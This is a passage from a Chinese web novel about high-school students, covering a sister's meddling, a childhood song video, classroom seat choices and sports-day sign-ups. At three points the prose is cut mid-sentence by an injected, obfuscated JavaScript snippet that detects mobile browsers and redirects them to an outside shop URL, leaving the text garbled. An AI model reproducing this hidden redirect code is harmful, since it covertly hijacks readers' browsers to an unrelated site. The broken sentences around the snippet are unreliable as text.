沈瑜的房间并不算大,自从决定好要做原创后,他就开始慢慢改变自己房间的格局,原来父母选择的大床被他伙同沈琼换成了单人床,虽然事后被狠狠骂了一顿,但是基于父母没有掏钱,这事也就勉强过去了,而空出来的地方加了一张桌子,上面摆着沈琼不用了的电脑,银白色的外壳上还贴着粉色贴纸,但是每当沈瑜打开电脑时,都要默默感谢一下伟大的姐姐,毕竟还在十几岁的沈瑜实在负担不起一台电脑,而这台电脑也实在给力,一直在坚强地运行着,接了个固态硬盘之后,内存不足的问题也被解决了。 电脑旁边还摆了一架88键的MIDI键盘,投入了沈瑜当时的大半积蓄,也是趁父母不在家偷偷运回来的,不过这么大件物品最终还是被发现了,经历了被骂不务正业和吃饭时不能开口说话,不然就会被集火的日子,这件事也翻篇了,然后沈瑜如法炮制地“偷运”回了声卡、麦克风、监听耳机,然后还偷偷摸摸地贴了一堆隔音海绵,最终让自己的房间变得不伦不类。 另外,虽然都是所有的设备都经历了漫长的货比三家,但是沈瑜的小金库最终还是空了,再加上这种买设备的行为惹恼了父母,零花钱也受到了管控,所以沈瑜现在只能在沈琼的店里面打工“维持生计”。 戴在头上的耳机突然被薅了下来,沈瑜按着键盘的手一愣,转头就对上了沈琼略带薄怒的脸。 沈琼绕着耳机的线,居高临下地看着沈瑜:“你不是答应爸妈不在上学的时候弄这些了吗?” 沈瑜低着头滑动鼠标滚轮不吭声。 看着明显有些不对劲的弟弟,沈琼略有些嫌弃地掀开被子一角,坐在了床上。 “我被子今天妈妈才换过的。”沈瑜看着沈琼快要翘飞起来的兰花指,慢吞吞地说。 “我知道啊。”沈琼调整了一下坐姿,直白道,“我只是单纯的嫌弃你而已。” “……” “我在门外敲了半天你不说话我就进来了。”沈琼指了指门,“下次注意一点,万一老妈敲门你没听见肯定又要骂你。” 沈瑜看着门口,慢半拍回答道:“哦。” 沈琼被沈瑜要死不活的样子弄得火大,于是决定再加一把,“你作业写完了?” 沈瑜摆弄麦克风的手一顿,看了一眼右上角显示的时间:22:30,又转头看了一眼堆积如山的作业,什么情绪都没有了,飞快转到书桌边,拿起笔就开始写作业:“还没,你出去吧,我要写作业了。” 沈瑜读着题目飞快写下一个A,察觉到旁边没有动静,正要开口催促,就听见后面传来一道八卦中带着兴奋、兴奋中带着恨铁不成钢、恨铁不成钢中带着幸灾乐祸的复杂声音。 “你向季知节告白被拒绝了?” 黑笔在作业本上划出一道长长的痕迹,但是沈瑜已经没心思去挽救了,猛地看向旁边,只见沈琼站在工作台边上,头上戴着耳机,电脑屏幕里的音频正在播放,电脑边的本子上还零零碎碎写着几句歌词。 “我们是否注定只是过客。”沈琼移开一边的耳机,对着本子点评道,“这句词不挺好的吗,划掉干嘛。” 沈瑜一个大步冲过去,抢走歌词本,脸上烧得通红,“你凭什么偷看我的本子!!” 飞快将本子合拢,沈瑜拉开抽屉把本子塞到深处,又跑过去把耳机从沈琼头上薅下来,暂停保存关电脑一条龙。 看着沈瑜忙里忙外的身影,沈琼无辜道:“它自己开始放的你信吗?” 沈瑜偷空白了一眼沈琼,没说话。 “你第一首歌写得那么烂我都没嫌弃你,你现在倒是开始瞒着我了哦。”沈琼阴阳怪气道,“不过这个钢琴,还有这个词,你不会真的失恋了吧。” 沈瑜从小学钢琴,沈琼也耳濡目染了一些,虽然无法具体地说出和弦,但是她对钢琴声里的感情色彩比较敏感,整曲以小调为主,钢琴和提琴交互,听着悲伤又难过。 “失恋的前提是谈恋爱吧。”沈瑜靠回座椅,闷声道,“你哪只眼睛看见我谈恋爱了。” “没谈恋爱就失恋是什么很光彩的事情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14429966|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?说的那么理直气壮的。”沈琼嘲笑道。 “谈什么恋爱,我们高中生的任务是学习好吗?”沈瑜举起课本,改口道。 沈琼盯着沈瑜,看着沈瑜越来越不自在,突然道:“所以是季知节想要好好学习,不想谈恋爱?” 沈瑜举着书没有说话。 “哇,太有觉悟了。”沈琼感叹道,“你要和人家学习知道不。” 沈瑜满脸黑线。 “我也在好好学习啊,我也没想谈恋爱啊。” “那不就结了,那你为什么像被甩了一样在这写苦情歌。”沈琼吐槽道,“总不能是她发现了,然后不想理你了吧。” “……” “……”沈琼看着沈瑜突然暗下来的脸色,“不会吧,真的啊。” “这么果断的吗?”沈琼看着满脸难过的沈瑜,想起来眼前这个人是自己的弟弟,于是把夸奖的话咽下,安慰道,“说明人家女孩子有事业心,是个好女孩嘛,你眼光不错嘛。” 沈瑜转头开始写作业。 看着完全没有被安慰道的沈瑜,沈琼想笑又觉得不礼貌,轻咳一声开口道:“那你和人家说了吗?你喜欢她的事。” “没。”声音闷闷的。 没有表白就要被远离,你怎么这么垃圾啊。沈琼看着沈瑜安静写作业的背影,无奈叹气,“没准还能挽回呢。” 沈瑜写作业的手一停,慢吞吞转圈,面向姐姐,好看的丹凤眼直勾勾盯着沈琼,一句话也没说,但满脸都写着“该怎么做”。 “你觉得她怎么察觉到你喜欢她的?”沈琼循循善诱道。 “她朋友说的吧。”沈瑜回想了一下体育课上的情形。 “那她朋友怎么察觉到的呢?”沈琼挑眉。 “不知道。”沈瑜耷拉着眼皮。 “因为你对她不一样啊!”沈琼没好气道,“我不说别的,就那天你们在店里面,你在面对季知节和面对落落还有张镜完全不一样啊,对她明显就要熟络一点吧,而且昨天还去店里面带东西,你也没想到给她朋友带。” 沈瑜转着手上的笔,不吭声。 “我都不敢想要是你俩独处,你得有多像开屏的孔雀。”沈琼撇嘴,“恰好季知节又是个单纯的小姑娘,在多数时候不会想那么多,但是被她朋友一点,肯定就察觉到了啊。” “你才孔雀。”沈瑜反驳,停了两秒,“所以呢。” 沈琼冷笑一声,“所以要不然你就拿出对待其他女生的态度对待季知节,要不然即像对待季知节那样对待其他女生。让她觉得自己不再是特殊的就行。” “不可能。”沈瑜想也没想就回答道。 “哦?”沈琼眯眼一笑,“哪个不可能。” 沈瑜又面向书桌,不再搭理沈琼。 一向条理清楚的男生难得让桌面变成这个样子,各科试卷习题摊在桌面上,眼看着马上就要十二点了,本子上未完成的作业还有不少,安排好的计划也不知道被遗忘在了哪个角落,沈瑜把摞在一起的书本拿开,露出了最底下的草稿本,在各种黑色的数学符号中,用红笔画着的小火苗格外显眼。盯着小火苗,沈瑜突然低声道:“她是不一样的。” 因为她是不一样的,所以两个都不可能。 22. 第 22 章 在听到那句“她是不一样的”之前,沈琼完全没想到自己的弟弟是这么纯情的一个人。在触及到明显已经变红了的耳垂时,沈琼悄悄把想要调侃的话憋在了心里。 拍了拍沈瑜的肩膀,沈琼说道:“先把作业写完吧,按知知妹妹这个性格,你要是成绩变差了,就更没机会了。” “怎么就是你知知妹妹了。”沈瑜小声吐槽。 沈琼装作没听见,大摇大摆地走出了房门。 回到自己房间的沈琼拿出手机,在列表里找到季知节。 “你最好祈祷知知妹妹没睡吧臭小子。”沈琼自言自语道。 —— 当手机震动时,季知节没有预料到会是沈琼给自己发消息。 虽然两人确实加了联系方式,但是聊天内容还停留在当时试吃之后,季知节发的一长串感想以及沈琼回复的表情包。 沈琼姐姐:【知知妹妹睡了没!我刚刚找到了个好玩的东西!】 沈琼姐姐:【[跃跃欲试.jpg]】 季知节:【还没呢!什么好玩的哇!】 季知节:【[好奇.jpg]】 沈琼姐姐:【是沈瑜写的第一首歌哈哈哈哈哈哈】 季知节盯着聊天框里的字,略微有些惊讶地张开了嘴巴。 沈瑜写的第一首歌? 季知节知道沈瑜很早就开始自己写歌了,在后来发行的专辑中,沈瑜就说过有许多是在高中以及大学时写的,但是被沈瑜发行出来的歌曲都是质量相当高的作品,至于第一首歌,沈瑜从来都没有明确说过是哪一首。 不好奇是不可能的,但是…… 季知节:【!!!!】 看着季知节“正在输入中……”的状态,沈琼仿佛知道季知节在犹豫什么。 沈琼姐姐:【没关系,他这首歌送我了,他说了我想怎么处置都行。】 沈琼姐姐:【而且我也找不到别人聊,爸妈不太支持他做这个,听见就烦。】 沈琼姐姐:【他的朋友知道他在弄这个的也不多,基本都是男生,我也不喜欢和男生聊天】 说着还发了一个嫌弃的表情包。 沈琼姐姐:【所以当我知道终于有一个女生知道他在写歌的时候,我贼开心啊!!!】 季知节看着沈琼发过来的一大串话,精准提炼出了信息:知道沈瑜在写歌的女生不多。 这样的信息难免让季知节又想起来沈瑜可能喜欢她这件事,内心更加犹豫了。 但是沈琼很快又发来消息。 沈琼姐姐:【我只能在知道这些事的人面前放肆聊嘛,不然总感觉怪怪的】 沈琼:【这可能就是秘密带来的亲近感吧[惆怅.jpg]】 季知节总觉得有哪里不对,但是也说不出哪里不对。 沈琼在尝试偷换因果概念,并不是因为喜欢你而对你特殊,而是因为有了共同知道的秘密才在你面前表现的不一样。 “虽然不知道知知妹妹会不会信,但只要种下这个念头,起码应该不会躲着你了吧。”沈琼喃喃道,“真的是邪恶的大人啊。” 季知节还是没有抵挡住第一首歌的诱惑,伸出了试探的小脚。 【那我偷偷听,不告诉他。】 看着聊天框里面弹出来的消息,沈琼把早就准备好的文件发了过去。 季知节没料到是一个视频,从抽屉里摸出耳机带上,季知节点开了视频。 短短的视频稍微有些糊,开头还有点抖,镜头慢慢从天花板对上了一张有些婴儿肥的小脸。 季知节看着镜头里面穿着小西装,坐在钢琴凳上的小男孩,惊讶地瞪大了眼睛。 男孩不过五六岁的模样,稚嫩的脸颊上带可可爱爱的笑容,看着镜头对准自己也没有慌张,嘴里还念叨着:“这是最后一遍哦姐姐。” “好的好的。”镜头外传来沈琼含笑的声音,“辛苦我们小玉啦。” “不辛苦。”小小的沈瑜一本正经回答道,“我一会想吃蛋挞可以吗?” “当然可以啦。” 小沈瑜眼睛一亮,笑得眯起了眼睛,“那我开始唱了哦。” “我的姐姐有着世界上最酷的梦想 有一家从里到外都是甜味的房子 房子里有漂亮的粉色和漂亮的蓝色 还会有亮亮的灯和好听的歌 姐姐说阳光能照进玻璃 我觉得香味能飘出屋子 希望姐姐的屋子在我能走到的地方 因为猫猫罐头只够买花花坐不了车啦” 这可能都说不上是一首歌,旋律十分简单,连和弦都没有,钢琴也应该没学多久,琴键都按得磕磕绊绊,可能只是弹出了自己喜欢的声音,但小沈瑜稚嫩的声音唱出的温暖的词句却让人心头一热。 视频短短的不到三分钟,在视频的最后小沈瑜还煞有其事地朝镜头行了个礼,最后眼睛亮亮地看着镜头外的人,像是等着要奖励的小狗。 季知节把画面定格在小沈瑜身上,甚至还忍不住放大去看他的脸颊肉,一颗心被可爱翻了。 沈琼姐姐:【这是他刚学钢琴那会的事情。我那会因为说长大之后想开店被我爸妈骂没出息,然后他就编了这样一首歌。】 沈琼姐姐:【那个时候真的是太可爱了,但是他那个时候还没想到以后会有做音乐的梦想,还好我录下来了[机智.jpg]】 季知节实在没忍住,在视频中截了一张图才回复道:【这个时候也太可爱了吧!而且这个歌也是!好温暖啊!】 沈琼挑眉一笑:“我就知道没人能拒绝小时候的沈瑜。” 沈琼姐姐:【是吧,而且后来我开店的时候,他真的买花送过来了。】 沈琼姐姐:【说实话要不是他,我可能在真考公务员去了,所以现在他有梦想了,我也在尽可能帮他,实在不行就回来给我打工嘛。】 沈琼姐姐:【还好他没长歪,还能给我揽点客。】 看着聊天框里弹出来的字,季知节眉眼一弯,自言自语道:“何止是没长歪啊,简直意气风发少年郎啊。” 季知节:【姐姐你超厉害的!】 季知节:【沈瑜也一定可以的!】 看着字里行间溢出的活力与信任,沈琼不由笑出了声:【那我们就一起看看这小子能走到哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14439841|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里吧。】 季知节看着这份邀请,想也不想就回复道:【好啊好啊。】,看着已经发出去的消息,季知节手指一顿,突然想起不久前做出的打算,不禁脑袋一疼,长按着消息就想撤回,看着撤回的选项弹出来,想要按下去的手又停住了,就看见对面发了个击掌的表情包。 季知节哀嚎一声,把手机放在了桌面上,捂着脑袋开始反思,“这就是手速快过脑子的代价嘛。” 反思了三秒,季知节又拿起手机,打开相册,看着最新一张照片,用手点了点看上去软乎乎的脸颊肉,“蓝颜祸水啊你。” —— 沈瑜是第二天早上才看见沈琼给自己发的聊天截图的,晚上赶作业赶到心力憔悴,东西收完就上床睡觉了,结果睁眼就迎来了暴击。 看着聊天截图里那个熟悉的头像,再看看那句“好啊好啊”,沈瑜满头问号,想要冲到沈琼的房间去质问时才想起她已经到店里面去了,只能在聊天框里打了三排问号发过去。 沈瑜背着书包夺门而出,还不忘发消息质问:【你干了什么?!】,但是沈琼没有回复。 看着半天没有回复的聊天框,沈瑜只得把手机收到书包里,胆战心惊地往学校赶。 沈瑜依旧是最早到校的那个人,看着整齐又空旷的教室,沈瑜长松了口气,正要迈步进入教室,就感觉到右边肩膀被拍了一下。沈瑜向左看去,就撞入了一双带着惊讶神色的圆眼。 季知节看了一眼刚刚自己拍过的肩膀,又看了一眼沈瑜转头的方向,圆眼眨了眨:“你怎么不往右边转啊?” 眼前女孩的视线落在自己身上,沈瑜甚至觉得自己可以女生的瞳孔里看见自己呆愣的神色,而自己的视野里突然多出了一双小巧的手。 季知节把手伸到沈瑜眼前晃了晃,纳闷道:“发什么呆呢?” 沈瑜找回自己的声音,“以为我还没醒来着。” “梦里都要上学吗?”季知节皱巴着脸,“你就不能做点美梦吗?” 看着季知节像吃了苦瓜一样的脸,沈瑜突然笑了一下,“上学没准也是美梦啊。” “那你可真好学啊。”季知节感叹道,“不愧是数学145的家伙。” “过奖过奖,你也不遑多让。”沈瑜让开路线,示意季知节先进门,“刚刚那个是直觉。” “嗯?” “你不是问我刚刚为什么往左边转嘛。”沈瑜点了点自己的肩膀,笑着解释道。 “直觉还挺灵啊。”季知节突然转身,视线在沈瑜脸颊上停留了一会,目露可惜。 “怎么了?”沈瑜顺着视线摸了一下自己的脸,疑惑道。 季知节神秘一笑,蹦回自己的座位:“秘密。” 目送着季知节回到座位,沈瑜才往自己的位置上走去,一坐下来就偷偷打开手机。 沈瑜:【[大恩不言谢.jpg]】 这会沈琼倒是在线了,发了个戴墨镜的emoji,得意的不行。 季知节最终还是被小沈瑜迷花了眼,连带着看沈瑜都带着慈爱,虽然有时的目光会让沈瑜觉得头皮发麻,但是沈瑜坚信,这是在往好的方向发展。 23. 第 23 章 又是一个周五,天气好像忽然一下就转凉了,昨天还穿着短袖,今天早上就要披一件外套骑车才不会冷。 季知节看着窗外不知什么时候刮起的风,拉了一下座位侧边装着校服的袋子,思索着要不要穿上,最终还是因为舍不得T恤上面的帅气涂鸦而放弃了温度。 黑板上的作业栏不知什么时候快写满了,季知节拿出本子誊写着莫名奇妙又多出来的作业,小声吐槽:“我们是周五有不是国庆长假,四舍五入一科一张卷子是怎么布置出来的啊。” “那都是老师深沉的爱。”张镜看了一眼满满当当的黑板,面不改色。 “吾辈楷模。”季知节静默一会,艰难挤出来几个字。 “明明就是疯子。”陆萍拿着记作业的本子回头,一脸沧桑。 季知节暗暗给人比了个赞。 叶珊珊坐在位置上,用笔帽戳了戳坐在前面的季知节:“今天班会李老板是不是要换位置啊。” 季知节的肩膀突然耷拉了下来,有气无力地扯了扯张镜:“班长大人有没有什么内幕啊。” 写完最后一个选择题,张镜叹了口气:“没有,我今天去办公室的时候到处瞟都没看见座位表,李老板藏得贼好。” “我不想和你们分开啊!”季知节作势要哭,“应该不会分到男生堆里面去吧。” “我听说啊,”叶珊珊瞅了一下周围,压低声音道,“李老板排座位只看成绩来着。” “真的假的啊。”季知节瞪大了双眼,脑海里开始回想上辈子换座位的事情,“应该不会吧,这样会被投诉的吧。” “也有可能是把那种成绩比较互补的人排在一起吧。”张镜猜测道。 各种可能性被猜了一遍,甚至于季知节还大言不惭地提出了抽签这一方案。 可再离谱不过现实,班会课上所有人惊讶地看着李化腾,这位教了二十年数学的老师依旧面不改色地往下说着。 “鉴于我们班这次考试平均分年级第一,再加上你们刘老师说我应该让你们自由点,所以我决定这次排座位按成绩单顺序自己选。” 还没等欢呼声起来,李化腾就打断了施法,“但是最后我们还要稍微调一下,比如说让周博承坐第一排这件事就很不现实,后面的人也别想看黑板了。” 底下发出善意的哄笑,一个个都往周博承那边看去。 “大家要明白自由是有一定限度的,选座位定时候考虑一下自己的条件和需求,以及我们这种方法试用到期中考,如果效果不好的话,我们下次换座位还是由我来排。” “我知道你们都想和好朋友坐在一块,我不反对,但是别让我抓到你们在一起开小差,抓到了我就直接拆开。” “朋友的意义在于你们共同进步,而不是一起变差,懂了吗?” 李化腾锐利的眼睛扫视过全班,把学生们飘忽不定的心强压下去,看到全班安静下来后,微微点头。 “给你们三分钟时间思考一下,三分钟之后按排名到外面排队,一个个进来选座位,动静都放小一点,隔壁班还在上课,过分吵闹的直接排到最后一个去。” 为了让学生们更好地思考,李化腾甚至走到了门外,属实是给足了空间。一通软硬兼施,直接把高一三班的学生们打得找不到北。 季知节看着站在门口的李化腾,脸上的震惊就没消失过。 “李老板终于疯了吗?”季知节感叹道,“我以为自选座位这种事只会出现在那种传说中的贵族学校里。” “疯得挺好。”张镜噗嗤一笑,“我得巡视一下我的宝座要放在哪里。” “可恶啊!”叶珊珊抓狂,数着自己的排名就开始哭嚎,“这就是尖子生的游刃有余吗,我下次一定好好学习呜呜呜。” 还没等季知节想好安慰的话,一个不知道从哪来的纸团团就精准地砸在了自己的脑袋上。 看着落点绝妙的纸团,于落落差点要吹个口哨来赞扬自己的绝妙控制力了。 “wow,niceshoot。”张镜顺手接过纸团,忍不住开口道。 “……”季知节用膝盖想都知道这个纸团是谁丢的,恶狠狠朝于落落那边瞪了一下,“我的命也是命好吗。” 张镜拆开纸团,“落落让我们选五六排的位置。” “差不多第五排好了,第六排给落落,她有1米7了吧,做第五排会不会给李老板调到后面去。”季知节目测了一下现在的座位,发现第七排往后基本上都是男生了。 张镜朝着于落落比了个六的手势,完美收获到信号的于落落兴奋地比了个OK。 “我往第一大组选。”张镜看了一眼靠走廊的位置,“走廊边李老板查岗多,估计选的人不多,轮到你的时候肯定有位置,落落在你后面两个,也是稳的。” “太靠谱了我们班长大人。”季知节挂着讨好的笑,“我这辈子都离不开你了。” 张镜一把推开季知节靠近的小脸,隐藏住眼底闪过的笑意,“走远点。” “人家不要嘛~”季知节笑眯眯地撒娇。 叶珊珊看着游刃有余的两个人,表情更加生无可恋,“到20名的时候还有什么位置是空着的啊!” 三分钟的讨论时间很快,在张镜的组织下,一个班四十来人迅速地在走廊排成了一列纵队,张镜一马当先排在了第一个。 “真帅啊。”季知节感叹道。 排在季知节后面的章梓涵和于落落疯狂点头。 “我也想排第一个。”章梓涵透过窗户看见张镜径直走到第一组第五排靠外的位置坐下,“有一种坐拥江山的感觉。” “她马上就要坐拥美人了。”季知节嚣张一笑。 “哪呢哪呢,我怎么没看见。”于落落眯着眼睛四处打探。 季知节哼笑一声,反手指着自己,“在这。” “真不要脸啊。”于落落搭着章梓涵的肩膀,啧了一声。 第二名的林江哲已经进去了,找了第四组的靠墙位置坐下。 第三位、第四位,队伍缓慢前进,轮到沈瑜踏进教室的时候,眼睛不自觉往后瞟了一眼。 沈瑜走到第一组第五排的位置,俯下身问了句什么,张镜指了指第六排靠墙的位置,然后就见沈瑜站在了第六排。 透过窗户,沈瑜朝站在走廊的季知节笑了笑,背后是略有些空旷的教室,少年的眼睛带着询问和真诚。 “我能坐在你后面吗?” 季知节按照嘴形一字一句读出沈瑜的话,看着少年微微歪着的脑袋,季知节眨了眨眼睛。 “沈瑜你选好了没有。”讲台上传来李化腾催促的声音,沈瑜笑着说了句马上就好,看着季知节还没回复,抬脚就要向后走。 于落落推了一把季知节,催促道:“人家问你呢。” 季知节回过神,轻轻踢了一脚于落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14447961|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落的鞋,朝沈瑜点了点头。 得到应允的沈瑜笑眯眯地坐在了座位上,还不忘在窗户上比了个v的手势。 “啧啧啧,明明会坐在他旁边的人是我,偏偏问你答不答应。”于落落都在季知节耳边贱兮兮道。 “那我帮你问问?”季知节假笑道。 “和我又没啥关系。”于落落双手枕在脑后,笑得无辜。 旁边的章梓涵看着说着悄悄话的两人,又看了一眼教室里面的沈瑜,脑子里突然亮了个灯,大眼睛在两边滴溜溜地转,思索着抛弃卓文君坐到第一组的可能性。 拜托,谁不爱吃瓜啊! 眼睛向后瞟了瞟,触及到卓文君充满杀意的目光,章梓涵还是老老实实地转过了头。 卓文君盯了两秒有异心的章梓涵,轻哼一声,又开始和前后的同学开始聊天。 很快就轮到了季知节,季知节踏进教室直奔张镜身边,不顾张镜调侃的目光,季知节镇定自若的落座。 不一会儿,于落落也带着书包直奔第一组而来,边收拾东西边朝沈瑜打招呼。 “你不准备和周博承坐一块吗?” 沈瑜指了指后面的座位,“他怕挡着别人,想坐最后面。” “不错不错。”于落落点点头,“我们stop小队再次聚齐了。” 季知节愣了两秒才想起来这是之前拉的五人群,正准备说话,就看见梁子笑威风堂堂地坐在了自己前面。 “……” 季知节看着前桌的人,一时语塞。 梁子笑回头,理直气壮道:“我不能坐吗?” “能,当然能,您请。”季知节卑微道。 沈瑜收拾着桌子的手一顿,抬着看向梁子笑,目露疑惑。 于落落瞅准时机,低声拱火:“那可是知知的宿敌。” 沈瑜把书放到一边,目光幽幽。 “真的啊,知知说她一定不会输给梁子笑的,两个人还打了赌。”于落落眼也不眨添油加醋道,“肯定是一起进步的关系嘛。” 文具盒被沈瑜捏得吱吱作响,“15名算那门子的宿敌,梁子笑梦里面的吗?” 于落落看着沈瑜脸色沉沉,笑得开心极了。 “你怎么知道他十五名啊。” “季知节。”沈瑜看着前方高高束起的马尾,还有红色的蝴蝶结,开口喊道。 柔顺的黑发消失,取而代之的是少女明亮的圆眼,眼睛里还带着惊讶的光。 “你还是第一次喊我名字诶!”季知节略带惊奇地开口。 对上少女明亮又充满活力的眼睛,沈瑜的气焰一下子就弱了下去,手上拉开文具盒的拉链,磕磕绊绊道,“是吗?” “是啊!”季知节眯着眼睛回想,“感觉以前你好像就直接到我面前说了,季知节三个字总感觉你是第一回正儿八经地喊。” “你想说什么来着?”季知节歪头好奇。 沈瑜又把文具盒的拉链拉上,“你的蝴蝶结挺好看的。” 季知节眨了眨眼睛,反手摸上自己的蝴蝶结,圆眼一亮,“有眼光啊,我早上挑了好久的!” “是你眼光好。”沈瑜佯装淡定道。 “嘿嘿。”季知节晃着脑袋回头。 在一旁旁观的于落落啧声道:“你好怂啊。” 沈瑜把文具盒摆到一边,“蝴蝶结本来就很好看。” 于落落耸肩。 24. 第 24 章 自己选座位的后果就是,有选择权的学生齐刷刷往中后排坐,前面几乎都快空出来了。李化腾看着几个闹腾的学生一脸生无可恋地坐在了第一排,内心感到好笑的同时又觉得这样也不错,在各科老师眼皮子底下总该会安分一点吧。 等所有同学都坐下,李化腾扫视了一眼班上的格局,根据身高细微调整了一下座位,最后满意点头。 “就先这样坐着,不行我们再调。我们来重新选一下组长。”说着把目光移到了第一组。仔细观察了一下第一组的学生,李化腾突然笑出了声。 “你们班委约好了往第一组扎堆吗?”李化腾点名笑道,“班长、数学课代表、英语课代表、语文课代表、体育课代表,这个班委含量有点太高了吧。” 季知节这才发现自己被班委包围了,前面是梁子笑,梁子笑的同桌就是语文课代表张嘉欣,后面是沈瑜和周博承,旁边就是张镜。 “……”季知节果断回头,看向于落落,“只有你陪我了。” 于落落挠了挠头,从记忆深处翻出来一个片段,犹豫道:“我好像是艺术委员来着。” “?”季知节如遭霹雳,“什么时候的事情?” “好像是刚开学吧,但是因为也没啥事我就给忘了。”于落落笑得一脸无辜。 李化腾也听见了两人的对话,无奈一笑:“那第一组组长季知节先当当,等后面有什么官我再给你换一个。” “噗嗤。” 季知节捂住自己通红的耳朵,乖巧应是。 在一片嘻嘻哈哈中小组长选拔仪式落下帷幕,李化腾敲了敲桌子,阐明第二个重点。 “马上运动会了,想报名的可以在周博承那报名。体育课该练的练起来了。” 底下一阵欢呼,李化腾不得不又敲了敲黑板,“这么开心报名也都积极点,别到了下周五体委来和我说人还没满。” “运动会之后就是期末考,别太放松了。”李化腾满意得看着所有人开始愁眉苦脸,快乐地结束了班会课。 “都自习吧,班长看下纪律。” 张镜深知所有人都还沉浸在换座位和运动会的余韵中,也没有强迫所有人一句话都不说,只要声音在可控范围内,张镜也就睁一只眼闭一只眼放过了。 当然不是因为自己也想聊天。 “居然还真的这么换了。”季知节对比着原先的记忆,低声感叹,“李老板好潮啊。” “能不潮吗,都要给你当官了。”于落落幸灾乐祸,“小组长早上的工作量那可是……” 季知节想起每天早上叶珊珊的座位,整个人已经开始不好了,“我已经为我早上的桌子默哀了。” “没关系,你早上的数学作业收了可以放我这。”沈瑜安慰道,“都不用走路,也挺好。” 季知节轻拍于落落的桌子,眼神凶狠:“你看看人家!” 于落落一扯张镜的衣服,“你看看你同桌!” “智障吗你们。”张镜被迫从作业里面抬头,眼神绝望,“我一会就和李老板说我要换座位。” 张镜已经看到自己黑暗的未来了。 “别笑了姐姐们,有空来报个名啊。”坐在后面的周博承讨好般扬了扬手中的报名表。 于落落侧过身子,拿过表格,仔细研究。 “还有什么项目没满啊?”季知节稍微倾斜身子,看向周博承。 看着有戏,周博承抱着自己的桌子就往前靠。 “你要挤死我吗?”沈瑜看着越来越近的周博承嫌弃道,“懂点社交距离行吗?” “呵谁管你啊!”周博承挥挥手,睁着大眼睛朝季知节卖萌,“还有四百米八百米一千五,跳高跳远也能试试啊。” 沈瑜推着周博承的脑袋往旁边转,“你像个推销的。” 说着转头看向季知节,叮嘱道,“有想试试的项目就报,没有也没关系,别理他。” 季知节刚想点头就被吓得转向了于落落。 “3000米?”于落落看着报名表上的名字,一脸钦佩。 “你要报3000米?”季知节做了个吞咽的动作,仿佛已经尝到嗓子口冒出来的血腥味了。 “想什么呢,女子只有1500米。”张镜敲了一下季知节的脑袋,没好气道。 于落落摊开报名表,“上面写着沈瑜的名字诶。” 季知节尊敬地看着沈瑜,却发现沈瑜一脸迷茫。 “我什么时候报了3000米啊?”忽然像是想到了什么,沈瑜眼睛一眯,视线投向悄悄后退着的周博承。 被发现的周博承停下后退的动作,一脸无辜,“哎呀,你的名字怎么会在上面啊!” “就是说啊,我的名字怎么就出现了呢?”沈瑜咬着后槽牙,一字一句问道。 “那肯定是我们知知姐想看啊!”周博承灵光一闪,谄媚道。 “我不是我没有别瞎说。”看着几个人看向自己,季知节慌忙摆手,拒绝三连。 “那你不报项目是不是就要做后勤!”周博承像是想通了什么,激动道。 “是的吧……”季知节皱着脸犹豫道。 “那沈瑜去跑3000米的话你给不给人送水!” 季知节瞟了一眼沈瑜,再次犹豫道,“要送的吧……”如果没有和跳高冲突的话,跳高观赏性可太高了。 “那你是不是先前答应了沈瑜要拍照片的!”周博承越说越理直气壮。 “我……”又没说只拍他一个人,季知节没说完的话卡在嘴边,看着沈瑜期待的目光,突然想起来视频里小沈瑜求夸夸的眼神,最终惨痛点头,“对。” “那你跑不跑嘛?”周博承朝沈瑜挑眉,笑得胜券在握。 “我……” “他不跑我跑。”前方突然传来一道声音打断了沈瑜的回答。 梁子笑不知什么时候转过了身,越过重重身影,一本正经地看向周博承,“我觉得我可以跑。” “呵。”沈瑜忽地嗤笑一声,丹凤眼却没有丝毫笑意,锐利的目光看向梁子笑,却对着周博承说道,“上面的名字是我的吧。” 周博承没想到还有意外之喜,连忙抢回报名表,哗啦啦翻开,“别急别急,都有份都有份,3000米可以报两个人呢,一人一个。” “除了三千米还有别的可以考虑啊,800米要不要走一个?”周博承飞快在报名表上写下梁子笑的名字,目光投向从刚刚起就一直在装死的同桌,“陆谦你不走一个啊?” 陆谦放下从刚刚就一直举着的课本,有些犹豫。 “不报不是三班人啊!”周博承火上浇油道。 “走!”陆谦一机灵,义无反顾道,“报个八百吧!” “好嘞!”周博承生怕人反悔,一秒也不耽搁就开始攻略下一个,“瑜哥不再来点?三千加个跳远,又田又径的,帅死了。” 事实证明,中二期的男生听不得帅字,看着又多一项的报名表,沈瑜难得头疼。 “胜负欲要不要这么强啊?”季知节感叹道,“最难的几项就在咱们这组解决了吧?” “你懂什么,这是 